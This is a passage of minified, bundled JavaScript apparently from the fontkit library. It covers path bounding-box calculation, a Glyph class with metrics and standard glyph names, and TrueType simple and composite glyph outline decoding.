MA,EAAKu5B,EAAK,EAAG,IAOhD0wK,EAASzwK,MAAQ,SAASA,MAAM8vB,EAAQC,GAKtC,YAJe,IAAXA,IACFA,EAASD,GAGJlxF,KAAK6gE,UAAUqwB,EAAQ,EAAG,EAAGC,EAAQ,EAAG,IAGjDjiF,aAAawiO,KAAM,CAAC,CAClB3sO,IAAK,OACLwE,IAAK,SAASA,MACZ,IAAKvJ,KAAK4xO,MAAO,CAGf,IAFA,IAEuES,EAFnEvhC,EAAO,IAAItkJ,GAEN8lL,EAAcj8D,gCAAgCr2K,KAAKw8D,YAAsB61K,EAAUC,KAAepgO,MAGzG,IAFA,IAAImlF,EAAUg7I,EAAQ9vO,MAEbzC,EAAI,EAAGA,EAAIu3F,EAAQp0F,KAAKD,OAAQlD,GAAK,EAC5CgxM,EAAKK,SAAS95G,EAAQp0F,KAAKnD,GAAIu3F,EAAQp0F,KAAKnD,EAAI,IAIpDE,KAAK4xO,MAAQtwO,OAAO42G,OAAO44F,GAG7B,OAAO9wM,KAAK4xO,QAQb,CACD7sO,IAAK,OACLwE,IAAK,SAASA,MACZ,GAAIvJ,KAAK2xO,MACP,OAAO3xO,KAAK2xO,MAWd,IARA,IAQuEY,EARnE1wK,EAAO,IAAIrV,GACX2M,EAAK,EACLC,EAAK,EAELtmD,EAAI,SAASA,EAAEynB,GACjB,OAAOjtB,KAAK4G,IAAI,EAAIqmB,EAAG,GAAKi4M,EAAG1yO,GAAK,EAAIwN,KAAK4G,IAAI,EAAIqmB,EAAG,GAAKA,EAAI+8F,EAAGx3H,GAAK,GAAK,EAAIy6B,GAAKjtB,KAAK4G,IAAIqmB,EAAG,GAAKk4M,EAAG3yO,GAAKwN,KAAK4G,IAAIqmB,EAAG,GAAKm4M,EAAG5yO,IAG7H6yO,EAAct8D,gCAAgCr2K,KAAKw8D,YAAsB+1K,EAAUI,KAAezgO,MAAO,CAChH,IAAI0R,EAAI2uN,EAAQhwO,MAEhB,OAAQqhB,EAAEyzE,SACR,IAAK,SACL,IAAK,SACH,IAAIu7I,EAAUhvN,EAAE3gB,KACZoR,EAAIu+N,EAAQ,GACZt+N,EAAIs+N,EAAQ,GAChB/wK,EAAKsvI,SAAS98L,EAAGC,GACjB6kD,EAAK9kD,EACL+kD,EAAK9kD,EACL,MAEF,IAAK,mBACL,IAAK,gBACH,GAAkB,qBAAdsP,EAAEyzE,QAEJ,IAAIw7I,EAAWjvN,EAAE3gB,KACb6vO,EAAOD,EAAS,GAChBE,EAAOF,EAAS,GAGhB5yK,EAAO9G,EAAK,EAAI,GAAK25K,EAAO35K,GAE5B+G,EAAO9G,EAAK,EAAI,GAAK25K,EAAO35K,GAC5B+G,GALA6yK,EAAMH,EAAS,IAKF,EAAI,GAAKC,EAAOE,GAE7B5yK,GANA6yK,EAAMJ,EAAS,IAMF,EAAI,GAAKE,EAAOE,QAEjC,IAAIC,EAAWtvN,EAAE3gB,KAKb+vO,GAJA/yK,EAAOizK,EAAS,GAChBhzK,EAAOgzK,EAAS,GAChB/yK,EAAO+yK,EAAS,GAChB9yK,EAAO8yK,EAAS,GACVA,EAAS,IACfD,EAAMC,EAAS,GAIrBrxK,EAAKsvI,SAAS6hC,EAAKC,GAMnB,IALA,IAAIT,EAAK,CAACr5K,EAAIC,GACVk+D,EAAK,CAACr3D,EAAMC,GACZuyK,EAAK,CAACtyK,EAAMC,GACZsyK,EAAK,CAACM,EAAKC,GAENnzO,EAAI,EAAGA,GAAK,EAAGA,IAAK,CAC3B,IAAIoF,EAAI,EAAIstO,EAAG1yO,GAAK,GAAKw3H,EAAGx3H,GAAK,EAAI2yO,EAAG3yO,GACpCD,GAAK,EAAI2yO,EAAG1yO,GAAK,EAAIw3H,EAAGx3H,GAAK,EAAI2yO,EAAG3yO,GAAK,EAAI4yO,EAAG5yO,GAGpD,GAFA8jB,EAAI,EAAI0zG,EAAGx3H,GAAK,EAAI0yO,EAAG1yO,GAEb,IAAND,EAAJ,CAkBA,IAAIszO,GAAO7lO,KAAK4G,IAAIhP,EAAG,GAAK,EAAI0e,EAAI/jB,EAEpC,KAAIszO,GAAO,GAAX,CAIA,IAAI/2M,KAAOl3B,EAAIoI,KAAK6iC,KAAKgjM,MAAU,EAAItzO,GAEnC,EAAIu8B,IAAMA,GAAK,IACP,IAANt8B,EACF+hE,EAAKsvI,SAASr+L,EAAEspB,IAAKylC,EAAK4wB,MACX,IAAN3yF,GACT+hE,EAAKsvI,SAAStvI,EAAK4zB,KAAM3iF,EAAEspB,MAI/B,IAAIC,KAAOn3B,EAAIoI,KAAK6iC,KAAKgjM,MAAU,EAAItzO,GAEnC,EAAIw8B,IAAMA,GAAK,IACP,IAANv8B,EACF+hE,EAAKsvI,SAASr+L,EAAEupB,IAAKwlC,EAAK4wB,MACX,IAAN3yF,GACT+hE,EAAKsvI,SAAStvI,EAAK4zB,KAAM3iF,EAAEupB,WAxC/B,CACE,GAAU,IAANn3B,EACF,SAGF,IAAIq1B,IAAK3W,EAAI1e,EAET,EAAIq1B,IAAKA,GAAI,IACL,IAANz6B,EACF+hE,EAAKsvI,SAASr+L,EAAEynB,IAAIsnC,EAAK4wB,MACV,IAAN3yF,GACT+hE,EAAKsvI,SAAStvI,EAAK4zB,KAAM3iF,EAAEynB,OAkCnC4+B,EAAK65K,EACL55K,EAAK65K,GAKX,OAAOjzO,KAAK2xO,MAAQrwO,OAAO42G,OAAOr2C,OAI/B6vK,KAtQe,GAyQpB9P,GAAQ,SAASA,MAAMvqI,GACzBq6I,GAAKpxO,UAAU+2F,GAAW,WACxBr3F,KAAK2xO,MAAQ3xO,KAAK4xO,MAAQ,KAE1B,IAAK,IAAIhrO,EAAQ7D,UAAUC,OAAQC,EAAO,IAAIC,MAAM0D,GAAQC,EAAQ,EAAGA,EAAQD,EAAOC,IACpF5D,EAAK4D,GAAS9D,UAAU8D,GAO1B,OAJA7G,KAAKw8D,SAASl3D,KAAK,CACjB+xF,QAASA,EACTp0F,KAAMA,IAEDjD,OAIFozO,GAAO,EAAGzhO,GAAO,CAAC,SAAU,SAAU,mBAAoB,gBAAiB,aAAcyhO,GAAOzhO,GAAK3O,OAAQowO,KAAQ,CAG5HxR,GAFcjwN,GAAKyhO,KAKrB,IAEIC,GA69EAC,GA/9EAC,GAAgB,CAAC,UAAW,QAAS,mBAAoB,QAAS,SAAU,WAAY,aAAc,SAAU,UAAW,YAAa,cAAe,YAAa,aAAc,WAAY,OAAQ,QAAS,SAAU,SAAU,QAAS,OAAQ,MAAO,MAAO,QAAS,OAAQ,OAAQ,MAAO,QAAS,QAAS,OAAQ,QAAS,YAAa,OAAQ,QAAS,UAAW,WAAY,KAAM,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,cAAe,YAAa,eAAgB,cAAe,aAAc,QAAS,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,IAAK,YAAa,MAAO,aAAc,aAAc,YAAa,QAAS,WAAY,SAAU,SAAU,YAAa,YAAa,SAAU,SAAU,cAAe,YAAa,SAAU,QAAS,WAAY,SAAU,SAAU,cAAe,YAAa,SAAU,SAAU,cAAe,YAAa,SAAU,SAAU,SAAU,cAAe,YAAa,SAAU,SAAU,SAAU,cAAe,YAAa,SAAU,SAAU,OAAQ,WAAY,UAAW,SAAU,YAAa,aAAc,aAAc,YAAa,YAAa,QAAS,WAAY,WAAY,KAAM,SAAU,WAAY,YAAa,YAAa,eAAgB,MAAO,KAAM,cAAe,YAAa,UAAW,KAAM,WAAY,cAAe,eAAgB,QAAS,KAAM,SAAU,eAAgB,aAAc,aAAc,UAAW,SAAU,cAAe,QAAS,gBAAiB,iBAAkB,WAAY,mBAAoB,SAAU,SAAU,SAAU,KAAM,KAAM,SAAU,SAAU,eAAgB,gBAAiB,YAAa,aAAc,SAAU,UAAW,YAAa,YAAa,WAAY,WAAY,gBAAiB,iBAAkB,KAAM,KAAM,YAAa,iBAAkB,iBAAkB,eAAgB,cAAe,cAAe,cAAe,SAAU,YAAa,SAAU,SAAU,cAAe,YAAa,SAAU,SAAU,cAAe,QAAS,SAAU,SAAU,cAAe,SAAU,WAAY,aAAc,QAAS,SAAU,QAAS,YAAa,OAAQ,UAAW,eAAgB,SAAU,QAAS,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,YAAa,MAAO,MAAO,SAAU,SAAU,QAAS,QAAS,QAAS,WAAY,cAAe,cAAe,gBAAiB,UAAW,aAAc,gBAAiB,QAAS,SAAU,SAAU,aAAc,WAAY,WAAY,SAAU,SAAU,SAAU,SAAU,UAavkFC,IAASH,GAAwB,WACnC,SAASG,MAAMvjL,EAAIhmC,EAAYs5C,GAK7BvjE,KAAKiwD,GAAKA,EAQVjwD,KAAKiqB,WAAaA,EAClBjqB,KAAKunE,MAAQhE,EAEbvjE,KAAKw6E,OAASx6E,KAAKiqB,WAAWjnB,OAAS,GAAKhD,KAAKiqB,WAAW4mD,MAAM7L,EAAQwV,QAC1Ex6E,KAAK82N,WAAa92N,KAAKiqB,WAAWjnB,OAAS,EAG7C,IAAIywO,EAAWD,MAAMlzO,UAsMrB,OApMAmzO,EAASC,SAAW,SAASA,WAC3B,OAAO,IAAIhC,IAGb+B,EAASE,SAAW,SAASA,WAC3B,OAAO3zO,KAAKg8C,KAAK80J,MAGnB2iC,EAASG,SAAW,SAASA,WAC3B,OAAO5zO,KAAKg8C,KAAK6lB,MAGnB4xK,EAASI,iBAAmB,SAASA,iBAAiBviN,GACpD,GAAItxB,KAAKiwD,GAAK3+B,EAAM+qJ,QAAQr5K,OAC1B,OAAOsuB,EAAM+qJ,QAAQ9yK,IAAIvJ,KAAKiwD,IAGhC,IAAI6jL,EAASxiN,EAAM+qJ,QAAQ9yK,IAAI+nB,EAAM+qJ,QAAQr5K,OAAS,GAKtD,MAJU,CACR8oE,QAASgoK,EAASA,EAAOhoK,QAAU,EACnCqwG,QAAS7qJ,EAAMgrJ,SAAS/yK,IAAIvJ,KAAKiwD,GAAK3+B,EAAM+qJ,QAAQr5K,SAAW,IAKnEywO,EAASM,YAAc,SAASA,YAAYjjC,GAC1C,GAAI9wM,KAAKg0O,SACP,OAAOh0O,KAAKg0O,SAGd,IAUMC,EAVFC,EAAwBl0O,KAAK6zO,iBAAiB7zO,KAAKunE,MAAM60G,MACzDp4G,EAAekwK,EAAsBpoK,QACrCqoK,EAAcD,EAAsB/3D,QAGxC,GAAIn8K,KAAKunE,MAAMq8H,KACb,IAAIwwC,EAAyBp0O,KAAK6zO,iBAAiB7zO,KAAKunE,MAAMq8H,MAC1DywC,EAAgBD,EAAuBtoK,QACvCwoK,EAAaF,EAAuBj4D,aAQxC,GAJI,MAAO20B,IACTA,EAAO9wM,KAAK8wM,OAGTmjC,EAAMj0O,KAAKunE,MAAM,UAAY0sK,EAAItvN,QAAU,EAC1C0vN,EAAgB/mO,KAAKwjB,IAAImjN,EAAIp0D,aAAeo0D,EAAIn0D,eAChDw0D,EAAaL,EAAIp0D,aAAeixB,EAAKr+G,SAEzC,KAAI+oF,EAAOx7K,KAAKunE,MAAMi0G,KAClB64D,EAAgB/mO,KAAKwjB,IAAI0qJ,EAAKr8E,OAASq8E,EAAKl8E,SAC5Cg1I,EAAa94D,EAAKr8E,OAAS2xG,EAAKr+G,KAQxC,OAJIzyF,KAAKunE,MAAM+vJ,qBAAuBt3N,KAAKunE,MAAMm3H,OAC/C16H,GAAgBhkE,KAAKunE,MAAM+vJ,oBAAoBid,qBAAqBv0O,KAAKiwD,GAAIjwD,KAAKunE,MAAMm3H,OAGnF1+L,KAAKg0O,SAAW,CACrBhwK,aAAcA,EACdqwK,cAAeA,EACfF,YAAaA,EACbG,WAAYA,IAqBhBb,EAASe,cAAgB,SAASA,cAAc5+N,GAC9C,IAAIwrD,EAAQ,EAAIphE,KAAKunE,MAAMszG,WAAajlK,EACxC,OAAO5V,KAAKg8C,KAAKolB,MAAMA,IAQzBqyK,EAASgB,SAAW,SAASA,WAC3B,IAAIpvK,EAAOrlE,KAAKunE,MAAMlC,KAEtB,IAAKA,EACH,OAAO,KAGT,OAAQA,EAAK1gD,SACX,KAAK,EACH,OAAO4uN,GAAcvzO,KAAKiwD,IAE5B,KAAK,EACH,IAAIA,EAAKoV,EAAK47G,eAAejhL,KAAKiwD,IAElC,OAAIA,EAAKsjL,GAAcvwO,OACduwO,GAActjL,GAGhBoV,EAAKygE,MAAM71E,EAAKsjL,GAAcvwO,QAEvC,KAAK,IACH,OAAOuwO,GAAcvzO,KAAKiwD,GAAKoV,EAAK67G,QAAQlhL,KAAKiwD,KAEnD,KAAK,EACH,OAAOzhD,OAAO2b,aAAak7C,EAAK10D,IAAI3Q,KAAKiwD,OAc/CwjL,EAASiB,OAAS,SAASA,OAAOnlO,EAAKqG,GACrCrG,EAAIytD,OACJ,IAAIoE,EAAQ,EAAIphE,KAAKunE,MAAMvoB,KAAK67H,WAAajlK,EAC7CrG,EAAI6xD,MAAMA,EAAOA,GACRphE,KAAKg8C,KAAK81L,YACnBzvO,CAAGkN,GACHA,EAAImR,OACJnR,EAAI2tD,WAGNhuD,aAAaskO,MAAO,CAAC,CACnBzuO,IAAK,OACLwE,IAAK,SAASA,MACZ,OAAOvJ,KAAK2zO,aAQb,CACD5uO,IAAK,OACLwE,IAAK,SAASA,MACZ,OAAOvJ,KAAK4zO,aAOb,CACD7uO,IAAK,OACLwE,IAAK,SAASA,MAGZ,OAAOvJ,KAAK0zO,aAEb,CACD3uO,IAAK,eACLwE,IAAK,SAASA,MACZ,OAAOvJ,KAAK+zO,cAAc/vK,eAO3B,CACDj/D,IAAK,gBACLwE,IAAK,SAASA,MACZ,OAAOvJ,KAAK+zO,cAAcM,gBAE3B,CACDtvO,IAAK,yBACLwE,IAAK,SAASA,SACb,CACDxE,IAAK,OACLwE,IAAK,SAASA,MACZ,OAAOvJ,KAAKy0O,eAITjB,MA3N4B,GA4N/Bx8D,0BAA0Bq8D,GAAS/yO,UAAW,OAAQ,CAAC82K,OAAQ91K,OAAOuO,yBAAyBwjO,GAAS/yO,UAAW,QAAS+yO,GAAS/yO,WAAY02K,0BAA0Bq8D,GAAS/yO,UAAW,OAAQ,CAAC82K,OAAQ91K,OAAOuO,yBAAyBwjO,GAAS/yO,UAAW,QAAS+yO,GAAS/yO,WAAY02K,0BAA0Bq8D,GAAS/yO,UAAW,OAAQ,CAAC82K,OAAQ91K,OAAOuO,yBAAyBwjO,GAAS/yO,UAAW,QAAS+yO,GAAS/yO,WAAY02K,0BAA0Bq8D,GAAS/yO,UAAW,eAAgB,CAAC82K,OAAQ91K,OAAOuO,yBAAyBwjO,GAAS/yO,UAAW,gBAAiB+yO,GAAS/yO,WAAY02K,0BAA0Bq8D,GAAS/yO,UAAW,gBAAiB,CAAC82K,OAAQ91K,OAAOuO,yBAAyBwjO,GAAS/yO,UAAW,iBAAkB+yO,GAAS/yO,WAAY02K,0BAA0Bq8D,GAAS/yO,UAAW,OAAQ,CAAC82K,OAAQ91K,OAAOuO,yBAAyBwjO,GAAS/yO,UAAW,QAAS+yO,GAAS/yO,WAAa+yO,IAC34BsB,GAAa,IAAI3sL,EAAEzrC,OAAO,CAC5Bq4N,iBAAkB5sL,EAAEnmC,MAEpBm5J,KAAMhzH,EAAEnmC,MACRo5J,KAAMjzH,EAAEnmC,MACRq5J,KAAMlzH,EAAEnmC,MACRs5J,KAAMnzH,EAAEnmC,QAiBNgzN,GAAqB,WACvB,SAASA,MAAMC,EAASC,EAAY1gO,EAAGC,QAC3B,IAAND,IACFA,EAAI,QAGI,IAANC,IACFA,EAAI,GAGNtU,KAAK80O,QAAUA,EACf90O,KAAK+0O,WAAaA,EAClB/0O,KAAKqU,EAAIA,EACTrU,KAAKsU,EAAIA,EASX,OANeugO,MAAMv0O,UAEZ+lB,KAAO,SAASA,OACvB,OAAO,IAAIwuN,MAAM70O,KAAK80O,QAAS90O,KAAK+0O,WAAY/0O,KAAKqU,EAAGrU,KAAKsU,IAGxDugO,MAtBgB,GA0BrBG,GAAY,SAASA,UAAU38D,EAASv7H,EAAIC,GAC9C/8C,KAAKq4K,QAAUA,EACfr4K,KAAK88C,GAAKA,EACV98C,KAAK+8C,GAAKA,EACV/8C,KAAKgI,IAAM,EACXhI,KAAKkxF,OAASlxF,KAAKmxF,OAAS,EAC5BnxF,KAAKi1O,QAAUj1O,KAAKk1O,QAAU,GAO5BC,GAAwB,SAAUC,GAGpC,SAASD,WACP,OAAOC,EAAOhyO,MAAMpD,KAAM+C,YAAc/C,KAH1CylK,eAAe0vE,SAAUC,GAMzB,IAAIC,EAAWF,SAAS70O,UAiVxB,OA9UA+0O,EAAS1B,SAAW,SAASA,SAAS2B,GAGpC,GAAIt1O,KAAKunE,MAAM+vJ,sBAAwBge,EACrC,OAAOt1O,KAAKg8C,KAAK80J,KAGnB,IAAI9zL,EAAShd,KAAKunE,MAAMguK,gBAAgB,QAExCv4N,EAAOhV,KAAOhI,KAAKunE,MAAMg6G,KAAKL,QAAQlhL,KAAKiwD,IAC3C,IAAIoS,EAAQsyK,GAAW53N,OAAOC,GAC1B8zL,EAAO,IAAItkJ,GAAK6V,EAAM24G,KAAM34G,EAAM44G,KAAM54G,EAAM64G,KAAM74G,EAAM84G,MAC9D,OAAO75K,OAAO42G,OAAO44F,IAIvBukC,EAASG,iBAAmB,SAASA,iBAAiBx4N,EAAQohG,EAAM3iE,EAAOg6L,GACzE,GAAIh6L,EAAO,CACT,IAAI9vC,EAAMqR,EAAO0B,YAEZ+2N,IACH9pO,GAAOA,GAGTA,GAAOyyG,OAEP,GAAIq3H,EACE9pO,EAAMyyG,OAENzyG,EAAMyyG,EAAOphG,EAAO8B,cAI5B,OAAOnT,GAKT0pO,EAASK,QAAU,SAASA,UAC1B,IAAIC,EAAU31O,KAAKunE,MAAMg6G,KAAKL,QAAQlhL,KAAKiwD,IAG3C,GAAI0lL,IAFU31O,KAAKunE,MAAMg6G,KAAKL,QAAQlhL,KAAKiwD,GAAK,GAG9C,OAAO,KAGT,IAAIjzC,EAAShd,KAAKunE,MAAMguK,gBAAgB,QAExCv4N,EAAOhV,KAAO2tO,EACd,IAAI3zD,EAAWhlK,EAAOhV,IAClBq6D,EAAQsyK,GAAW53N,OAAOC,GAQ9B,OANIqlD,EAAMuyK,iBAAmB,EAC3B50O,KAAK41O,cAAcvzK,EAAOrlD,GACjBqlD,EAAMuyK,iBAAmB,GAClC50O,KAAK61O,iBAAiBxzK,EAAOrlD,EAAQglK,GAGhC3/G,GAGTgzK,EAASO,cAAgB,SAASA,cAAcvzK,EAAOrlD,GAErDqlD,EAAM/B,OAAS,GACf,IAAIw1K,EAAmB,IAAI9tL,EAAE9kD,MAAM8kD,EAAE7mC,OAAQkhD,EAAMuyK,kBAAkB73N,OAAOC,GAC5EqlD,EAAMi/G,aAAe,IAAIt5H,EAAE9kD,MAAM8kD,EAAE/mC,MAAO+mC,EAAE7mC,QAAQpE,OAAOC,GAI3D,IAHA,IAAI3K,EAAQ,GACR0jO,EAAYD,EAAiBA,EAAiB9yO,OAAS,GAAK,EAEzDqP,EAAMrP,OAAS+yO,GAAW,CAC/B,IAAIn4N,EAAOZ,EAAO0B,YAGlB,GAFArM,EAAM/M,KAAKsY,GAnIJ,EAqIHA,EAGF,IAFA,IAAIvQ,EAAQ2P,EAAO0B,YAEV6J,EAAI,EAAGA,EAAIlb,EAAOkb,IACzBlW,EAAM/M,KAAKsY,GAKjB,IAAK,IAAI9d,EAAI,EAAGA,EAAIuS,EAAMrP,OAAQlD,IAAK,CACjC8d,EAAOvL,EAAMvS,GAAjB,IACIygE,EAAQ,IAAIs0K,MAnJP,EAmJgBj3N,GAAkBk4N,EAAiB7tO,QAAQnI,IAAM,EAAG,EAAG,GAChFuiE,EAAM/B,OAAOh7D,KAAKi7D,GAGpB,IAAIlH,EAAK,EAET,IAASv5D,EAAI,EAAGA,EAAIuS,EAAMrP,OAAQlD,IAAK,CACjC8d,EAAOvL,EAAMvS,GACjBuiE,EAAM/B,OAAOxgE,GAAGuU,EAAIglD,EAAKr5D,KAAKw1O,iBAAiBx4N,EAAQq8C,EA1JxC,EA0J4Cz7C,EAvJpD,GAuJ2EA,GAGpF,IAAI07C,EAAK,EAET,IAASx5D,EAAI,EAAGA,EAAIuS,EAAMrP,OAAQlD,IAAK,CACjC8d,EAAOvL,EAAMvS,GACjBuiE,EAAM/B,OAAOxgE,GAAGwU,EAAIglD,EAAKt5D,KAAKw1O,iBAAiBx4N,EAAQs8C,EAhKxC,EAgK4C17C,EA7JpD,GA6J2EA,GAGpF,GAAI5d,KAAKunE,MAAM+vJ,oBAAqB,CAClC,IAAIh3J,EAAS+B,EAAM/B,OAAOp4D,QAC1Bo4D,EAAOh7D,KAAKlC,MAAMk9D,EAAQtgE,KAAKg2O,kBAAkB3zK,IAEjDriE,KAAKunE,MAAM+vJ,oBAAoB2e,gBAAgBj2O,KAAKiwD,GAAIqQ,GAExD+B,EAAM6zK,cAAgB51K,EAAOp4D,OAAO,KAMxCmtO,EAASQ,iBAAmB,SAASA,iBAAiBxzK,EAAOrlD,EAAQvH,QACpD,IAAXA,IACFA,EAAS,GAIX4sD,EAAMsuH,WAAa,GAInB,IAHA,IAAIwlD,GAAmB,EACnB9jO,EAhLc,MAkLXA,GAAyB,CAC9BA,EAAQ2K,EAAOyB,eACf,IAAI23N,EAAOp5N,EAAOhV,IAAMyN,EACpB4iK,EAAUr7J,EAAOyB,eAMrB,GAJK03N,IACHA,EAAsD,IArLnC,IAqLC9jO,IA1LA,EA6LlBA,EACF,IAAIyqC,EAAK9/B,EAAO8B,cACZi+B,EAAK//B,EAAO8B,mBAEZg+B,EAAK9/B,EAAOgC,WACZ+9B,EAAK//B,EAAOgC,YAGd07M,EAAY,IAAIsa,GAAU38D,EAASv7H,EAAIC,IACjC/0C,IAAMouO,EArMA,EAuMZ/jO,EAEFqoN,EAAUxpI,OAASwpI,EAAUvpI,QAAUn0E,EAAO0B,aAAe,GAAK1B,EAAO0B,aAAe,IAAM,WAvMvE,GAwMdrM,GACTqoN,EAAUxpI,QAAUl0E,EAAO0B,aAAe,GAAK1B,EAAO0B,aAAe,IAAM,WAC3Eg8M,EAAUvpI,QAAUn0E,EAAO0B,aAAe,GAAK1B,EAAO0B,aAAe,IAAM,YAzMxD,IA0MVrM,IACTqoN,EAAUxpI,QAAUl0E,EAAO0B,aAAe,GAAK1B,EAAO0B,aAAe,IAAM,WAC3Eg8M,EAAUua,SAAWj4N,EAAO0B,aAAe,GAAK1B,EAAO0B,aAAe,IAAM,WAC5Eg8M,EAAUwa,SAAWl4N,EAAO0B,aAAe,GAAK1B,EAAO0B,aAAe,IAAM,WAC5Eg8M,EAAUvpI,QAAUn0E,EAAO0B,aAAe,GAAK1B,EAAO0B,aAAe,IAAM,YAG7E2jD,EAAMsuH,WAAWrrL,KAAKo1N,GAGxB,GAAI16N,KAAKunE,MAAM+vJ,oBAAqB,CAGlC,IAFA,IAAIh3J,EAAS,GAEJ/3C,EAAI,EAAGA,EAAI85C,EAAMsuH,WAAW3tL,OAAQulB,IAAK,CAChD,IAAImyM,EAAYr4J,EAAMsuH,WAAWpoK,GACjC+3C,EAAOh7D,KAAK,IAAIuvO,IAAM,GAAM,EAAMna,EAAU59K,GAAI49K,EAAU39K,KAG5DujB,EAAOh7D,KAAKlC,MAAMk9D,EAAQtgE,KAAKg2O,kBAAkB3zK,IAEjDriE,KAAKunE,MAAM+vJ,oBAAoB2e,gBAAgBj2O,KAAKiwD,GAAIqQ,GAExD+B,EAAM6zK,cAAgB51K,EAAOp/B,QAAQ,EAAG,GAExC,IAAK,IAAIphC,EAAI,EAAGA,EAAIwgE,EAAOt9D,OAAQlD,IAAK,CACtC,IAAIygE,EAAQD,EAAOxgE,GACnBuiE,EAAMsuH,WAAW7wL,GAAGg9C,GAAKyjB,EAAMlsD,EAC/BguD,EAAMsuH,WAAW7wL,GAAGi9C,GAAKwjB,EAAMjsD,GAInC,OAAO6hO,GAGTd,EAASW,kBAAoB,SAASA,kBAAkB3zK,GACtD,IAAIyuI,EAAO9wM,KAAK2zO,UAAS,GAEJ,MAAjB3zO,KAAKg0O,WACPh0O,KAAKg0O,SAAWR,GAAMlzO,UAAUyzO,YAAYvuO,KAAKxF,KAAM8wM,IAGzD,IAAIulC,EAAiBr2O,KAAKg0O,SACtBhwK,EAAeqyK,EAAeryK,aAC9BqwK,EAAgBgC,EAAehC,cAC/BF,EAAckC,EAAelC,YAC7BG,EAAa+B,EAAe/B,WAChC,MAAO,CAAC,IAAIO,IAAM,GAAO,EAAMxyK,EAAM24G,KAAOm5D,EAAa,GAAI,IAAIU,IAAM,GAAO,EAAMxyK,EAAM24G,KAAOm5D,EAAcnwK,EAAc,GAAI,IAAI6wK,IAAM,GAAO,EAAM,EAAGxyK,EAAM84G,KAAOm5D,GAAa,IAAIO,IAAM,GAAO,EAAM,EAAGxyK,EAAM84G,KAAOm5D,EAAaD,KAI3OgB,EAASiB,aAAe,SAASA,eAC/B,IAAIj0K,EAAQriE,KAAK01O,UAEjB,IAAKrzK,EACH,MAAO,GAGT,IAAI/B,EAAS,GAEb,GAAI+B,EAAMuyK,iBAAmB,EAE3B,IAAK,IAAqE2B,EAAjEC,EAAcngE,gCAAgCh0G,EAAMsuH,cAAwB4lD,EAAUC,KAAetkO,MAK5G,IAJA,IAAIwoN,EAAY6b,EAAQh0O,MAEpBk0O,EAAYz2O,KAAKunE,MAAMwoJ,SAAS2K,EAAUriD,SAASi+D,eAE9Cx2O,EAAI,EAAGA,EAAI22O,EAAUzzO,OAAQlD,IAGpC,IAFA,IAAI42O,EAAUD,EAAU32O,GAEfyoB,EAAI,EAAGA,EAAImuN,EAAQ1zO,OAAQulB,IAAK,CACvC,IAAI1F,EAAS6zN,EAAQnuN,GACjBlU,EAAIwO,EAAOxO,EAAIqmN,EAAUxpI,OAASruE,EAAOvO,EAAIomN,EAAUua,QAAUva,EAAU59K,GAC3ExoC,EAAIuO,EAAOvO,EAAIomN,EAAUvpI,OAAStuE,EAAOxO,EAAIqmN,EAAUwa,QAAUxa,EAAU39K,GAC/EujB,EAAOh7D,KAAK,IAAIuvO,GAAMhyN,EAAOiyN,QAASjyN,EAAOkyN,WAAY1gO,EAAGC,SAKlEgsD,EAAS+B,EAAM/B,QAAU,GAIvB+B,EAAM6zK,gBAAkBl2O,KAAKunE,MAAMovK,UAAUjvI,OAAOg3F,OACtD1+L,KAAKg0O,SAAShwK,aAAe3B,EAAM6zK,cAAc,GAAG7hO,EAAIguD,EAAM6zK,cAAc,GAAG7hO,EAC/ErU,KAAKg0O,SAASK,cAAgBhyK,EAAM6zK,cAAc,GAAG5hO,EAAI+tD,EAAM6zK,cAAc,GAAG5hO,EAChFtU,KAAKg0O,SAASG,YAAc9xK,EAAM24G,KAAO34G,EAAM6zK,cAAc,GAAG7hO,EAChErU,KAAKg0O,SAASM,WAAajyK,EAAM6zK,cAAc,GAAG5hO,EAAI+tD,EAAM84G,MAM9D,IAHA,IAAIy7D,EAAW,GACX5oO,EAAM,GAEDqI,EAAI,EAAGA,EAAIiqD,EAAOt9D,OAAQqT,IAAK,CACtC,IAAIkqD,EAAQD,EAAOjqD,GACnBrI,EAAI1I,KAAKi7D,GAELA,EAAMw0K,aACR6B,EAAStxO,KAAK0I,GACdA,EAAM,IAIV,OAAO4oO,GAGTvB,EAAStB,YAAc,SAASA,cAC9B,GAAI/zO,KAAKg0O,SACP,OAAOh0O,KAAKg0O,SAGd,IAAIljC,EAAO9wM,KAAK2zO,UAAS,GASzB,OAPAyB,EAAO90O,UAAUyzO,YAAYvuO,KAAKxF,KAAM8wM,GAEpC9wM,KAAKunE,MAAM+vJ,sBAAwBt3N,KAAKunE,MAAMm3H,MAEhD1+L,KAAKg8C,KAGAh8C,KAAKg0O,UAIdqB,EAAS3B,SAAW,SAASA,WAK3B,IAJA,IAAIkD,EAAW52O,KAAKs2O,eAEhBt6L,EAAO,IAAI01L,GAEN5xO,EAAI,EAAGA,EAAI82O,EAAS5zO,OAAQlD,IAAK,CACxC,IAAI42O,EAAUE,EAAS92O,GACnB+2O,EAAUH,EAAQ,GAClBI,EAASJ,EAAQA,EAAQ1zO,OAAS,GAClCkO,EAAQ,EAEZ,GAAI2lO,EAAQ/B,QAAS,CAEnB,IAAIiC,EAAU,KACd7lO,EAAQ,OAUJ6lO,EANFF,EAFEC,EAAOhC,QAECgC,EAGA,IAAIjC,IAAM,GAAO,GAAQgC,EAAQxiO,EAAIyiO,EAAOziO,GAAK,GAAIwiO,EAAQviO,EAAIwiO,EAAOxiO,GAAK,GAM3F0nC,EAAKoiB,OAAOy4K,EAAQxiO,EAAGwiO,EAAQviO,GAE/B,IAAK,IAAIiU,EAAIrX,EAAOqX,EAAImuN,EAAQ1zO,OAAQulB,IAAK,CAC3C,IAAIyuN,EAAKN,EAAQnuN,GACb0uN,EAAe,IAAN1uN,EAAUsuN,EAAUH,EAAQnuN,EAAI,GAE7C,GAAI0uN,EAAOnC,SAAWkC,EAAGlC,QACvB94L,EAAKqiB,OAAO24K,EAAG3iO,EAAG2iO,EAAG1iO,QAChB,GAAI2iO,EAAOnC,UAAYkC,EAAGlC,QAC3BiC,EAAUC,OACT,GAAKC,EAAOnC,SAAYkC,EAAGlC,QAK3B,IAAKmC,EAAOnC,UAAWkC,EAAGlC,QAI/B